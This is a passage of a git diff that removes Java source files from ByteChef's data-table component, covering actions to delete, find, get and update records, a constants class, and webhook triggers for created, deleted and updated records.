-                    .label("Table")
-                    .required(true)
-                    .options(DataTableUtils.getActionTableOptions(dataTableService)),
-                array(IDS)
-                    .label("Record IDs")
-                    .description("IDs of records to delete")
-                    .required(true)
-                    .items(integer("id")))
-            .output(
-                outputSchema(
-                    object()
-                        .properties(
-                            integer("deletedCount")
-                                .label("Deleted Count"),
-                            array("deletedIds")
-                                .items(
-                                    integer()))))
-            .perform(this::perform);
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private Object perform(
-        Parameters inputParameters, Parameters connectionParameters, ActionContext actionContext) {
-
-        ActionContextAware actionContextAware = (ActionContextAware) actionContext;
-
-        String baseName = inputParameters.getRequiredString(TABLE);
-
-        Object[] ids = inputParameters.getRequiredArray(IDS);
-        List<Long> deletedIds = new ArrayList<>();
-
-        for (Object curId : ids) {
-            long id = (curId instanceof Number number) ? number.longValue() : Long.parseLong(String.valueOf(curId));
-
-            if (dataTableRowService.deleteRow(
-                baseName, id, Objects.requireNonNull(actionContextAware.getEnvironmentId()))) {
-
-                deletedIds.add(id);
-            }
-        }
-
-        Map<String, Object> result = new HashMap<>();
-
-        result.put("deletedCount", deletedIds.size());
-        result.put("deletedIds", deletedIds);
-
-        return result;
-    }
-}
diff --git a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableFindRecordsAction.java b/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableFindRecordsAction.java
deleted file mode 100644
index b90a31af535..00000000000
--- a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableFindRecordsAction.java
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datatable.action;
-
-import static com.bytechef.component.datatable.constant.DataTableConstants.LIMIT;
-import static com.bytechef.component.datatable.constant.DataTableConstants.OFFSET;
-import static com.bytechef.component.datatable.constant.DataTableConstants.TABLE;
-import static com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.definition.BaseOutputDefinition.OutputResponse;
-import static com.bytechef.platform.configuration.domain.Environment.DEVELOPMENT;
-
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.execution.domain.DataTableRow;
-import com.bytechef.automation.data.table.execution.service.DataTableRowService;
-import com.bytechef.component.datatable.util.DataTableUtils;
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.Property;
-import com.bytechef.platform.component.definition.ActionContextAware;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-
-/**
- * Find Records: Find records in a table with pagination
- *
- * @author Ivica Cardic
- */
-public class DataTableFindRecordsAction {
-
-    private final DataTableService dataTableService;
-    private final DataTableRowService dataTableRowService;
-
-    @SuppressFBWarnings("EI")
-    public static ModifiableActionDefinition of(
-        DataTableService dataTableService, DataTableRowService dataTableRowService) {
-
-        return new DataTableFindRecordsAction(dataTableService, dataTableRowService).build();
-    }
-
-    private DataTableFindRecordsAction(DataTableService dataTableService, DataTableRowService dataTableRowService) {
-        this.dataTableService = dataTableService;
-        this.dataTableRowService = dataTableRowService;
-    }
-
-    private ModifiableActionDefinition build() {
-        return action("findRecords")
-            .title("Find Records")
-            .description("Find records in a table with filters")
-            .properties(
-                string(TABLE)
-                    .label("Table")
-                    .required(true)
-                    .options(DataTableUtils.getActionTableOptions(dataTableService)),
-                integer(LIMIT)
-                    .label("Limit")
-                    .description("Maximum number of records to return")
-                    .defaultValue(100),
-                integer(OFFSET)
-                    .label("Offset")
-                    .description("Number of records to skip")
-                    .defaultValue(0))
-            .output(this::output)
-            .perform(this::perform);
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private OutputResponse output(
-        Parameters inputParameters, Parameters connectionParameters, ActionContext actionContext) {
-
-        String baseName = inputParameters.getRequiredString(TABLE);
-
-        var rowSchema = DataTableUtils.rowObjectSchema(dataTableService, DEVELOPMENT, baseName);
-
-        List<DataTableRow> rows = dataTableRowService.listRows(baseName, 1, 0, DEVELOPMENT.ordinal());
-
-        if (rows.isEmpty()) {
-            return OutputResponse.of(array().items((Property.ValueProperty<?>) rowSchema));
-        }
-
-        DataTableRow firstRow = rows.getFirst();
-
-        Map<String, Object> sampleOutput = DataTableUtils.createSampleOutput(
-            dataTableService, DEVELOPMENT, baseName, firstRow.id(), firstRow.values());
-
-        return OutputResponse.of(array().items((Property.ValueProperty<?>) rowSchema), List.of(sampleOutput));
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private Object perform(
-        Parameters inputParameters, Parameters connectionParameters, ActionContext actionContext) {
-
-        ActionContextAware actionContextAware = (ActionContextAware) actionContext;
-
-        String baseName = inputParameters.getRequiredString(TABLE);
-        int limit = inputParameters.getInteger(LIMIT, 100);
-        int offset = inputParameters.getInteger(OFFSET, 0);
-
-        return dataTableRowService.listRows(
-            baseName, limit, offset, Objects.requireNonNull(actionContextAware.getEnvironmentId()));
-    }
-}
diff --git a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableGetRecordAction.java b/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableGetRecordAction.java
deleted file mode 100644
index 1e0c1306dc0..00000000000
--- a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableGetRecordAction.java
+++ /dev/null
@@ -1,112 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datatable.action;
-
-import static com.bytechef.component.datatable.constant.DataTableConstants.ID;
-import static com.bytechef.component.datatable.constant.DataTableConstants.TABLE;
-import static com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.definition.BaseOutputDefinition.OutputResponse;
-import static com.bytechef.platform.configuration.domain.Environment.DEVELOPMENT;
-
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.execution.domain.DataTableRow;
-import com.bytechef.automation.data.table.execution.service.DataTableRowService;
-import com.bytechef.component.datatable.util.DataTableUtils;
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.platform.component.definition.ActionContextAware;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-
-/**
- * Get Record: Get a single record by its id
- *
- * @author Ivica Cardic
- */
-public class DataTableGetRecordAction {
-
-    private final DataTableService dataTableService;
-    private final DataTableRowService dataTableRowService;
-
-    @SuppressFBWarnings("EI")
-    public static ModifiableActionDefinition of(
-        DataTableService dataTableService, DataTableRowService dataTableRowService) {
-
-        return new DataTableGetRecordAction(dataTableService, dataTableRowService).build();
-    }
-
-    private DataTableGetRecordAction(DataTableService dataTableService, DataTableRowService dataTableRowService) {
-        this.dataTableService = dataTableService;
-        this.dataTableRowService = dataTableRowService;
-    }
-
-    private ModifiableActionDefinition build() {
-        return action("getRecord")
-            .title("Get Record")
-            .description("Get single record by its id")
-            .properties(
-                string(TABLE)
-                    .label("Table")
-                    .required(true)
-                    .options(DataTableUtils.getActionTableOptions(dataTableService)),
-                integer(ID)
-                    .label("Record ID")
-                    .required(true))
-            .output(this::output)
-            .perform(this::perform);
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private OutputResponse output(
-        Parameters inputParameters, Parameters connectionParameters, ActionContext actionContext) {
-
-        String baseName = inputParameters.getRequiredString(TABLE);
-
-        var rowSchema = DataTableUtils.rowObjectSchema(dataTableService, DEVELOPMENT, baseName);
-
-        List<DataTableRow> rows = dataTableRowService.listRows(baseName, 1, 0, DEVELOPMENT.ordinal());
-
-        if (rows.isEmpty()) {
-            return OutputResponse.of(rowSchema);
-        }
-
-        DataTableRow firstRow = rows.getFirst();
-
-        Map<String, Object> sampleOutput = DataTableUtils.createSampleOutput(
-            dataTableService, DEVELOPMENT, baseName, firstRow.id(), firstRow.values());
-
-        return OutputResponse.of(rowSchema, sampleOutput);
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private Object perform(
-        Parameters inputParameters, Parameters connectionParameters, ActionContext actionContext) {
-
-        ActionContextAware actionContextAware = (ActionContextAware) actionContext;
-
-        String baseName = inputParameters.getRequiredString(TABLE);
-        long id = inputParameters.getRequiredLong(ID);
-
-        return dataTableRowService.getRow(
-            baseName, id, Objects.requireNonNull(actionContextAware.getEnvironmentId()));
-    }
-}
diff --git a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableUpdateRecordAction.java b/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableUpdateRecordAction.java
deleted file mode 100644
index 0c3141d48fb..00000000000
--- a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableUpdateRecordAction.java
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datatable.action;
-
-import static com.bytechef.component.datatable.constant.DataTableConstants.ID;
-import static com.bytechef.component.datatable.constant.DataTableConstants.TABLE;
-import static com.bytechef.component.datatable.constant.DataTableConstants.VALUES;
-import static com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.dynamicProperties;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.definition.BaseOutputDefinition.OutputResponse;
-import static com.bytechef.platform.configuration.domain.Environment.DEVELOPMENT;
-
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.execution.domain.DataTableRow;
-import com.bytechef.automation.data.table.execution.service.DataTableRowService;
-import com.bytechef.component.datatable.util.DataTableUtils;
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.platform.component.definition.ActionContextAware;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-
-/**
- * Update Record: Update values in an existing record
- *
- * @author Ivica Cardic
- */
-public class DataTableUpdateRecordAction {
-
-    private final DataTableService dataTableService;
-    private final DataTableRowService dataTableRowService;
-
-    @SuppressFBWarnings("EI")
-    public static ModifiableActionDefinition of(
-        DataTableService dataTableService, DataTableRowService dataTableRowService) {
-
-        return new DataTableUpdateRecordAction(dataTableService, dataTableRowService).build();
-    }
-
-    private DataTableUpdateRecordAction(DataTableService dataTableService, DataTableRowService dataTableRowService) {
-        this.dataTableService = dataTableService;
-        this.dataTableRowService = dataTableRowService;
-    }
-
-    private ModifiableActionDefinition build() {
-        return action("updateRecord")
-            .title("Update Record")
-            .description("Update values in an existing record")
-            .properties(
-                string(TABLE)
-                    .label("Table")
-                    .required(true)
-                    .options(DataTableUtils.getActionTableOptions(dataTableService)),
-                integer(ID)
-                    .label("Record ID")
-                    .required(true),
-                dynamicProperties(VALUES)
-                    .propertiesLookupDependsOn(TABLE)
-                    .properties(DataTableUtils.createDynamicProperties(dataTableService, true))
-                    .required(true))
-            .output(this::output)
-            .perform(this::perform);
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private OutputResponse output(
-        Parameters inputParameters, Parameters connectionParameters, ActionContext actionContext) {
-
-        String baseName = inputParameters.getRequiredString(TABLE);
-
-        var rowSchema = DataTableUtils.rowObjectSchema(dataTableService, DEVELOPMENT, baseName);
-
-        List<DataTableRow> rows = dataTableRowService.listRows(baseName, 1, 0, DEVELOPMENT.ordinal());
-
-        if (rows.isEmpty()) {
-            return OutputResponse.of(rowSchema);
-        }
-
-        DataTableRow firstRow = rows.getFirst();
-
-        Map<String, Object> sampleOutput = DataTableUtils.createSampleOutput(
-            dataTableService, DEVELOPMENT, baseName, firstRow.id(), firstRow.values());
-
-        return OutputResponse.of(rowSchema, sampleOutput);
-    }
-
-    @SuppressWarnings({
-        "unchecked", "PMD.UnusedFormalParameter"
-    })
-    private Object perform(
-        Parameters inputParameters, Parameters connectionParameters, ActionContext actionContext) {
-
-        ActionContextAware actionContextAware = (ActionContextAware) actionContext;
-
-        String baseName = inputParameters.getRequiredString(TABLE);
-        long id = inputParameters.getRequiredLong(ID);
-        Map<String, Object> values = (Map<String, Object>) inputParameters.getRequired(VALUES, Map.class);
-
-        return dataTableRowService.updateRow(
-            baseName, id, values, Objects.requireNonNull(actionContextAware.getEnvironmentId()));
-    }
-}
diff --git a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/constant/DataTableConstants.java b/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/constant/DataTableConstants.java
deleted file mode 100644
index a387ba9e03e..00000000000
--- a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/constant/DataTableConstants.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datatable.constant;
-
-/**
- * @author Ivica Cardic
- */
-public class DataTableConstants {
-
-    public static final String DATA_TABLE = "dataTable";
-    public static final String TABLE = "table";
-    public static final String ID = "id";
-    public static final String IDS = "ids";
-    public static final String VALUES = "values";
-    public static final String RECORDS = "records";
-    public static final String LIMIT = "limit";
-    public static final String OFFSET = "offset";
-
-    private DataTableConstants() {
-    }
-}
diff --git a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/trigger/DataTableRecordCreatedTrigger.java b/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/trigger/DataTableRecordCreatedTrigger.java
deleted file mode 100644
index 99c01ae44a0..00000000000
--- a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/trigger/DataTableRecordCreatedTrigger.java
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datatable.trigger;
-
-import static com.bytechef.component.datatable.constant.DataTableConstants.TABLE;
-import static com.bytechef.component.definition.ComponentDsl.ModifiableTriggerDefinition;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.ComponentDsl.trigger;
-import static com.bytechef.component.definition.TriggerDefinition.TriggerType.DYNAMIC_WEBHOOK;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTableWebhookType;
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.configuration.service.DataTableWebhookService;
-import com.bytechef.automation.data.table.execution.service.DataTableRowService;
-import com.bytechef.component.datatable.util.DataTableUtils;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TriggerContext;
-import com.bytechef.component.definition.TriggerDefinition.HttpHeaders;
-import com.bytechef.component.definition.TriggerDefinition.HttpParameters;
-import com.bytechef.component.definition.TriggerDefinition.WebhookBody;
-import com.bytechef.component.definition.TriggerDefinition.WebhookEnableOutput;
-import com.bytechef.component.definition.TriggerDefinition.WebhookMethod;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.definition.BaseOutputDefinition.OutputResponse;
-import com.bytechef.platform.component.definition.TriggerContextAware;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.Map;
-import java.util.Objects;
-
-/**
- * Record Created trigger for Data Tables.
- *
- * @author Ivica Cardic
- */
-public class DataTableRecordCreatedTrigger {
-
-    private final DataTableRowService dataTableRowService;
-    private final DataTableService dataTableService;
-    private final DataTableWebhookService dataTableWebhookService;
-
-    @SuppressFBWarnings("EI")
-    public static ModifiableTriggerDefinition of(
-        DataTableRowService dataTableRowService, DataTableService dataTableService,
-        DataTableWebhookService dataTableWebhookService) {
-
-        return new DataTableRecordCreatedTrigger(
-            dataTableRowService, dataTableService, dataTableWebhookService).build();
-    }
-
-    private DataTableRecordCreatedTrigger(
-        DataTableRowService dataTableRowService, DataTableService dataTableService,
-        DataTableWebhookService dataTableWebhookService) {
-
-        this.dataTableRowService = dataTableRowService;
-        this.dataTableService = dataTableService;
-        this.dataTableWebhookService = dataTableWebhookService;
-    }
-
-    private ModifiableTriggerDefinition build() {
-        return trigger("recordCreated")
-            .title("Record Created")
-            .description("Triggers when a new record is inserted into the selected table.")
-            .type(DYNAMIC_WEBHOOK)
-            .properties(
-                string(TABLE)
-                    .label("Table")
-                    .description("Select a Data Table.")
-                    .required(true)
-                    .options(DataTableUtils.getTriggerTableOptions(dataTableService)))
-            .output(this::output)
-            .webhookEnable(this::webhookEnable)
-            .webhookDisable(this::webhookDisable)
-            .webhookRequest(this::webhookRequest);
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private OutputResponse output(
-        Parameters inputParameters, Parameters connectionParameters, TriggerContext triggerContext) {
-
-        var baseName = inputParameters.getRequiredString(TABLE);
-
-        return DataTableUtils.createTriggerOutputResponse(dataTableRowService, dataTableService, baseName);
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private WebhookEnableOutput webhookEnable(
-        Parameters inputParameters, Parameters connectionParameters, String webhookUrl, String workflowExecutionId,
-        TriggerContext triggerContext) {
-
-        TriggerContextAware triggerContextAware = (TriggerContextAware) triggerContext;
-
-        String baseName = inputParameters.getRequiredString(TABLE);
-
-        long webhookId = dataTableWebhookService.addWebhook(
-            baseName, webhookUrl, DataTableWebhookType.RECORD_CREATED,
-            Objects.requireNonNull(triggerContextAware.getEnvironmentId()));
-
-        return new WebhookEnableOutput(Map.of("webhookId", webhookId), null);
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private void webhookDisable(
-        Parameters inputParameters, Parameters connectionParameters, Parameters webhookEnableOutputParameters,
-        String workflowExecutionId, TriggerContext triggerContext) {
-
-        long webhookId = webhookEnableOutputParameters.getRequiredLong("webhookId");
-
-        dataTableWebhookService.removeWebhook(webhookId);
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private Object webhookRequest(
-        Parameters inputParameters, Parameters connectionParameters, HttpHeaders headers, HttpParameters parameters,
-        WebhookBody body, WebhookMethod method, Parameters webhookEnableOutputParameters,
-        TriggerContext triggerContext) {
-
-        Map<String, Object> content = body.getContent(new TypeReference<>() {});
-
-        Object payload = content.get("payload");
-
-        return payload != null ? payload : content;
-    }
-}
diff --git a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/trigger/DataTableRecordDeletedTrigger.java b/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/trigger/DataTableRecordDeletedTrigger.java
deleted file mode 100644
index 8924b6b16b7..00000000000
--- a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/trigger/DataTableRecordDeletedTrigger.java
+++ /dev/null
@@ -1,127 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datatable.trigger;
-
-import static com.bytechef.component.datatable.constant.DataTableConstants.TABLE;
-import static com.bytechef.component.definition.ComponentDsl.ModifiableTriggerDefinition;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.ComponentDsl.trigger;
-import static com.bytechef.component.definition.TriggerDefinition.TriggerType.DYNAMIC_WEBHOOK;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTableWebhookType;
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.configuration.service.DataTableWebhookService;
-import com.bytechef.automation.data.table.execution.service.DataTableRowService;
-import com.bytechef.component.datatable.util.DataTableUtils;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TriggerContext;
-import com.bytechef.component.definition.TriggerDefinition.OptionsFunction;
-import com.bytechef.component.definition.TriggerDefinition.WebhookBody;
-import com.bytechef.component.definition.TriggerDefinition.WebhookEnableOutput;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.platform.component.definition.TriggerContextAware;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.Map;
-import java.util.Objects;
-
-/**
- * Record Deleted trigger for Data Tables.
- *
- * @author Ivica Cardic
- */
-public class DataTableRecordDeletedTrigger {
-
-    private final DataTableRowService dataTableRowService;
-    private final DataTableService dataTableService;
-    private final DataTableWebhookService dataTableWebhookService;
-
-    @SuppressFBWarnings("EI")
-    public static ModifiableTriggerDefinition of(
-        DataTableRowService dataTableRowService, DataTableService dataTableService,
-        DataTableWebhookService dataTableWebhookService) {
-
-        return new DataTableRecordDeletedTrigger(
-            dataTableRowService, dataTableService, dataTableWebhookService).build();
-    }
-
-    private DataTableRecordDeletedTrigger(
-        DataTableRowService dataTableRowService, DataTableService dataTableService,
-        DataTableWebhookService dataTableWebhookService) {
-
-        this.dataTableRowService = dataTableRowService;
-        this.dataTableService = dataTableService;
-        this.dataTableWebhookService = dataTableWebhookService;
-    }
-
-    private ModifiableTriggerDefinition build() {
-        return trigger("recordDeleted")
-            .title("Record Deleted")
-            .description("Triggers when a record is deleted from the selected table.")
-            .type(DYNAMIC_WEBHOOK)
-            .properties(
-                string(TABLE)
-                    .label("Table")
-                    .description("Select a Data Table.")
-                    .required(true)
-                    .options(
-                        (OptionsFunction<String>) (
-                            inputParameters, connectionParameters, depends, searchText,
-                            context) -> DataTableUtils.getTableOptions(searchText, dataTableService)))
-            .output((inputParameters, connectionParameters, context) -> {
-                var baseName = inputParameters.getRequiredString(TABLE);
-
-                return DataTableUtils.createTriggerOutputResponse(dataTableRowService, dataTableService, baseName);
-            })
-            .webhookEnable((
-                inputParameters, connectionParameters, webhookUrl, workflowExecutionId,
-                context) -> webhookEnable(inputParameters, webhookUrl, context))
-            .webhookDisable((
-                inputParameters, connectionParameters, webhookEnableOutputParameters, workflowExecutionId,
-                context) -> webhookDisable(webhookEnableOutputParameters))
-            .webhookRequest((
-                inputParameters, connectionParameters, headers, parameters, body, method, webhookEnableOutputParameters,
-                context) -> webhookRequest(body));
-    }
-
-    private WebhookEnableOutput webhookEnable(
-        Parameters inputParameters, String webhookUrl, TriggerContext triggerContext) {
-
-        TriggerContextAware triggerContextAware = (TriggerContextAware) triggerContext;
-
-        String baseName = inputParameters.getRequiredString(TABLE);
-
-        long webhookId = dataTableWebhookService.addWebhook(
-            baseName, webhookUrl, DataTableWebhookType.RECORD_DELETED,
-            Objects.requireNonNull(triggerContextAware.getEnvironmentId()));
-
-        return new WebhookEnableOutput(Map.of("webhookId", webhookId), null);
-    }
-
-    private void webhookDisable(Parameters webhookEnableOutputParameters) {
-        long webhookId = webhookEnableOutputParameters.getRequiredLong("webhookId");
-
-        dataTableWebhookService.removeWebhook(webhookId);
-    }
-
-    private Object webhookRequest(WebhookBody body) {
-        Map<String, Object> content = body.getContent(new TypeReference<>() {});
-
-        Object payload = content.get("payload");
-
-        return payload != null ? payload : content;
-    }
-}
diff --git a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/trigger/DataTableRecordUpdatedTrigger.java b/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/trigger/DataTableRecordUpdatedTrigger.java
deleted file mode 100644
index 244594161b0..00000000000
--- a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/trigger/DataTableRecordUpdatedTrigger.java
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datatable.trigger;
-
-import static com.bytechef.component.datatable.constant.DataTableConstants.TABLE;
-import static com.bytechef.component.definition.ComponentDsl.ModifiableTriggerDefinition;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.ComponentDsl.trigger;
-import static com.bytechef.component.definition.TriggerDefinition.TriggerType.DYNAMIC_WEBHOOK;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTableWebhookType;
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.configuration.service.DataTableWebhookService;
-import com.bytechef.automation.data.table.execution.service.DataTableRowService;
-import com.bytechef.component.datatable.util.DataTableUtils;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TriggerContext;
-import com.bytechef.component.definition.TriggerDefinition.HttpHeaders;
-import com.bytechef.component.definition.TriggerDefinition.HttpParameters;
-import com.bytechef.component.definition.TriggerDefinition.WebhookBody;
-import com.bytechef.component.definition.TriggerDefinition.WebhookEnableOutput;
-import com.bytechef.component.definition.TriggerDefinition.WebhookMethod;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.definition.BaseOutputDefinition.OutputResponse;
-import com.bytechef.platform.component.definition.TriggerContextAware;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.Map;
-import java.util.Objects;
-
-/**
- * Record Updated trigger for Data Tables.
- *
- * @author Ivica Cardic
- */
-public class DataTableRecordUpdatedTrigger {
-
-    private final DataTableRowService dataTableRowService;
-    private final DataTableService dataTableService;
-    private final DataTableWebhookService dataTableWebhookService;
-
-    @SuppressFBWarnings("EI")
-    public static ModifiableTriggerDefinition of(
-        DataTableRowService dataTableRowService, DataTableService dataTableService,
-        DataTableWebhookService dataTableWebhookService) {
-
-        return new DataTableRecordUpdatedTrigger(
-            dataTableRowService, dataTableService, dataTableWebhookService).build();
-    }
-
-    private DataTableRecordUpdatedTrigger(
-        DataTableRowService dataTableRowService, DataTableService dataTableService,
-        DataTableWebhookService dataTableWebhookService) {
-
-        this.dataTableRowService = dataTableRowService;
-        this.dataTableService = dataTableService;
-        this.dataTableWebhookService = dataTableWebhookService;
-    }
-
-    private ModifiableTriggerDefinition build() {
-        return trigger("recordUpdated")
-            .title("Record Updated")
-            .description("Triggers when a record is updated in the selected table.")
-            .type(DYNAMIC_WEBHOOK)
-            .properties(
-                string(TABLE)
-                    .label("Table")
-                    .description("Select a Data Table.")
-                    .required(true)
-                    .options(DataTableUtils.getTriggerTableOptions(dataTableService)))
-            .output(this::output)
-            .webhookEnable(this::webhookEnable)
-            .webhookDisable(this::webhookDisable)
-            .webhookRequest(this::webhookRequest);
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private OutputResponse output(
-        Parameters inputParameters, Parameters connectionParameters, TriggerContext triggerContext) {
-
-        var baseName = inputParameters.getRequiredString(TABLE);
-
-        return DataTableUtils.createTriggerOutputResponse(dataTableRowService, dataTableService, baseName);
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private WebhookEnableOutput webhookEnable(
-        Parameters inputParameters, Parameters connectionParameters, String webhookUrl, String workflowExecutionId,
-        TriggerContext triggerContext) {
-
